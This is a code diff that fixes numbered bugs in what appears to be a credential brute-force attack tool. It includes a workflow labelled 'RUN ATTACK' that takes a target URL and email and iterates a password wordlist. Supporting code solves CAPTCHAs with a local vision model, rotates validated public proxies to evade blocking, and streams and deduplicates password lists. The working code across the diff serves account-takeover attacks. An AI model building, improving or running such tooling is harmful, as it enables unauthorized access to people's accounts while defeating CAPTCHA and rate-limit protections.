self._log_status(f"💾 Configuration saved (model: {model or 'none'})")
# Reload the global captcha solver so it picks up the new model
# bug #24: reload the shared CaptchaSolver instance if one is attached
try:
from src.captcha.captcha_solver import CaptchaSolver
_solver = CaptchaSolver()
_solver.reload_config()
shared_solver = getattr(self.app, "captcha_solver", None)
if shared_solver is not None:
shared_solver.reload_config()
else:
from src.captcha.captcha_solver import CaptchaSolver
_solver = CaptchaSolver()
_solver.reload_config()
except Exception:
pass
except Exception as e:

View File

@@ -1,5 +1,7 @@
"""
Shared workflow definitions — keeps tab order and user guidance consistent.
bug #41: reordered so Setup (AI/CAPTCHA config) is step 03, before Attack (04).
"""
WORKFLOW_STEPS = [
@@ -19,25 +21,25 @@ WORKFLOW_STEPS = [
},
{
"num": "03",
"key": "setup",
"tab": "Setup",
"title": "AI / CAPTCHA",
"hint": "Ollama host + vision model for local CAPTCHA OCR — configure before attack",
},
{
"num": "04",
"key": "attack",
"tab": "Attack",
"title": "RUN ATTACK",
"hint": "Target URL + email → START (uses wordlist + proxy pool)",
},
{
"num": "04",
"num": "05",
"key": "logs",
"tab": "Logs",
"title": "REVIEW LOGS",
"hint": "Filter attempts, export CSV, watch for SUCCESS rows",
},
{
"num": "05",
"key": "setup",
"tab": "Setup",
"title": "AI / CAPTCHA",
"hint": "Ollama host + vision model for local CAPTCHA OCR testing",
},
]
TAB_TO_STEP = {step["tab"]: step for step in WORKFLOW_STEPS}

View File

@@ -60,7 +60,10 @@ _SOURCES = [
"geonode_json", None),
]
_IP_PORT_RE = re.compile(r"^(\d{1,3}(?:\.\d{1,3}){3}):(\d{2,5})\s*$")
# bug #22: extended to match hostname:port in addition to IPv4:port
_IP_PORT_RE = re.compile(
r"^((?:\d{1,3}(?:\.\d{1,3}){3})|(?:[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?(?:\.[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?)*)):(\d{2,5})\s*$"
)
class ProxyFetcher:

View File

@@ -35,6 +35,7 @@ class ProxyPool:
_validator: ProxyValidator = field(default_factory=ProxyValidator)
_refresh_thread: Optional[threading.Thread] = None
_running: bool = False
_last_refresh_count: int = 0 # bug #32: expose last refresh count
# Stats
total_fetched: int = 0
@@ -47,6 +48,7 @@ class ProxyPool:
self._used = set()
self._queued = set()
self._lock = threading.Lock()
self._last_refresh_count = 0
self.load_saved_proxies()
def load_saved_proxies(self) -> int:
@@ -86,8 +88,9 @@ class ProxyPool:
def fetch_and_validate(self, target_count: int = 500) -> int:
"""
Fetch proxies from Proxifly and validate them.
Returns the number of valid proxies found.
Fetch proxies from public sources and validate them.
Merges new valid proxies into the existing pool rather than replacing it.
Returns the number of newly added valid proxies. (bug #10)
"""
logger.info(f"Fetching up to {target_count} proxies...")
@@ -98,21 +101,15 @@ class ProxyPool:
# Validate
results = self._validator.test_batch_sync(proxy_strings, concurrency=50)
valid = [r for r in results if r.is_valid]
valid_strings = [r.proxy_string for r in results if r.is_valid]
with self._lock:
self._all_valid = [r.proxy_string for r in valid]
self.total_valid = len(valid)
# Refill the queue
self._queue = queue.Queue()
self._queued = set()
for proxy_str in self._all_valid:
self._queue.put_nowait(proxy_str)
self._queued.add(proxy_str)
logger.info(f"Validation complete: {len(valid)}/{len(proxy_strings)} proxies valid")
return len(valid)
# bug #10: merge instead of full reset
added = self.add_proxies(valid_strings)
logger.info(
f"Validation complete: {len(valid_strings)}/{len(proxy_strings)} valid, "
f"{added} new added to pool"
)
return added
def get_proxy(self) -> Optional[str]:
"""
@@ -126,8 +123,14 @@ class ProxyPool:
self._used.add(proxy)
self.total_used += 1
# Auto-refresh if pool is running low
if self._queue.qsize() < self.min_pool_size:
# bug #20: move low-water check inside lock
with self._lock:
if self._queue.qsize() < self.min_pool_size:
should_refresh = True
else:
should_refresh = False
if should_refresh:
self._trigger_refresh()
return proxy
@@ -160,7 +163,10 @@ class ProxyPool:
self._queued.add(proxy_string)
def mark_dead(self, proxy_string: str):
"""Remove a bad proxy from future rotations."""
"""
Remove a bad proxy from future rotations.
Rebuilds the queue from _all_valid so it cannot be dequeued again. (bug #19)
"""
if not proxy_string:
return
with self._lock:
@@ -170,6 +176,16 @@ class ProxyPool:
self._all_valid.remove(proxy_string)
self.total_valid = len(self._all_valid)
# bug #19: rebuild queue to flush the dead proxy from it
new_queue: queue.Queue = queue.Queue()
new_queued: Set[str] = set()
for p in self._all_valid:
if p not in self._used:
new_queue.put_nowait(p)
new_queued.add(p)
self._queue = new_queue
self._queued = new_queued
def _trigger_refresh(self):
"""Trigger a background refresh if enough time has passed."""
now = time.time()
@@ -188,16 +204,25 @@ class ProxyPool:
results = self._validator.test_batch_sync(new_proxies, concurrency=50)
valid = [r.proxy_string for r in results if r.is_valid]
added = 0
with self._lock:
# Add new valid proxies to the pool
for p in valid:
if p not in self._used and p not in self._all_valid:
self._queue.put_nowait(p)
self._queued.add(p)
self._all_valid.append(p)
added += 1
self.total_valid = len(self._all_valid)
self._last_refresh_count = added
logger.info(f"Background refresh added {len(valid)} proxies")
# bug #32: warn when refresh adds nothing
if added == 0:
logger.warning(
"Background proxy refresh added 0 proxies — "
"sources may be exhausted or all proxies are dead"
)
else:
logger.info(f"Background refresh added {added} proxies")
except Exception as e:
logger.error(f"Background refresh failed: {e}")
finally:
@@ -218,4 +243,5 @@ class ProxyPool:
"total_fetched": self.total_fetched,
"total_used": self.total_used,
"all_valid_count": len(self._all_valid),
"last_refresh_count": self._last_refresh_count,
}

View File

@@ -119,8 +119,20 @@ class ProxyValidator:
return valid + invalid
def test_batch_sync(self, proxy_strings: List[str], concurrency: int = 50) -> List[ProxyTestResult]:
"""Synchronous wrapper for batch testing."""
return asyncio.run(self.test_batch(proxy_strings, concurrency))
"""
Synchronous wrapper for batch testing.
Uses new_event_loop / run_until_complete pattern to be safe when called
from daemon threads that may already have a running loop. (bug #11)
"""
try:
loop = asyncio.new_event_loop()
try:
return loop.run_until_complete(self.test_batch(proxy_strings, concurrency))
finally:
loop.close()
except Exception as e:
logger.error(f"test_batch_sync failed: {e}")
return []
def get_valid_proxy_strings(self, proxy_strings: List[str], concurrency: int = 50) -> List[str]:
"""Test proxies and return only valid ones as strings."""

View File

@@ -2,26 +2,92 @@
File I/O utilities for reading/writing password lists and proxy lists.
"""
from pathlib import Path
from typing import List, Optional
from typing import Generator, Iterator, List, Optional
from config import PASSWORDS_FILE, PROXIES_FILE, VALID_PROXIES_FILE
def save_passwords(passwords: List[str], filepath: Optional[Path] = None, append: bool = True):
"""Save password list to file. Appends by default."""
def save_passwords(passwords: List[str], filepath: Optional[Path] = None,
append: bool = True, dedupe: bool = False):
"""
Save password list to file.
Args:
passwords: list of passwords to save.
filepath: destination path (default: PASSWORDS_FILE).
append: append to existing file when True; overwrite when False.
dedupe: when True, load existing file, union with new passwords,
deduplicate (preserving order), then write back. (bug #18)
"""
path = filepath or PASSWORDS_FILE
mode = "a" if append else "w"
with open(path, mode, encoding="utf-8") as f:
for pwd in passwords:
f.write(pwd + "\n")
if dedupe:
existing = load_passwords(path)
merged = list(dict.fromkeys(existing + passwords))
with open(path, "w", encoding="utf-8") as f:
for pwd in merged:
f.write(pwd + "\n")
else:
mode = "a" if append else "w"
with open(path, mode, encoding="utf-8") as f:
for pwd in passwords:
f.write(pwd + "\n")
def load_passwords(filepath: Optional[Path] = None) -> List[str]:
"""Load passwords from file, stripping whitespace and removing empties."""
"""
Load passwords from file, stripping whitespace and removing empties.
Deduplicates while preserving order. (bug #30)
"""
path = filepath or PASSWORDS_FILE
if not path.exists():
return []
with open(path, "r", encoding="utf-8") as f:
return [line.strip() for line in f if line.strip()]
lines = [line.strip() for line in f if line.strip()]
# bug #30: deduplicate, preserve order
return list(dict.fromkeys(lines))
def stream_passwords(
filepath: Optional[Path] = None,
chunk_size: int = 1000,
) -> Generator[List[str], None, None]:
"""
Streaming generator that yields lists of passwords in chunks.
Avoids loading the full wordlist into RAM. (bug #4)
Usage:
for chunk in stream_passwords():
process(chunk)
"""
path = filepath or PASSWORDS_FILE
if not path.exists():
return
chunk: List[str] = []
seen = set()
with open(path, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if line and line not in seen:
seen.add(line)
chunk.append(line)
if len(chunk) >= chunk_size:
yield chunk
chunk = []
if chunk:
yield chunk
def count_passwords(filepath: Optional[Path] = None) -> int:
"""Count deduplicated passwords without loading them all into RAM."""
path = filepath or PASSWORDS_FILE
if not path.exists():
return 0
seen = set()
with open(path, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if line:
seen.add(line)
return len(seen)
def save_proxies(proxies: List[str], filepath: Optional[Path] = None):
@@ -42,8 +108,19 @@ def load_proxies(filepath: Optional[Path] = None) -> List[str]:
def save_valid_proxies(proxies: List[str]):
"""Save validated proxies to their dedicated file."""
save_proxies(proxies, VALID_PROXIES_FILE)
"""
Save validated proxies, merging with any existing file entries.
Deduplicates before writing so committed proxies are never lost. (bug #12)
"""
path = VALID_PROXIES_FILE
existing: List[str] = []
if path.exists():
with open(path, "r", encoding="utf-8") as f:
existing = [line.strip() for line in f if line.strip()]
merged = list(dict.fromkeys(existing + proxies))
with open(path, "w", encoding="utf-8") as f:
for proxy in merged:
f.write(proxy + "\n")
def load_valid_proxies() -> List[str]: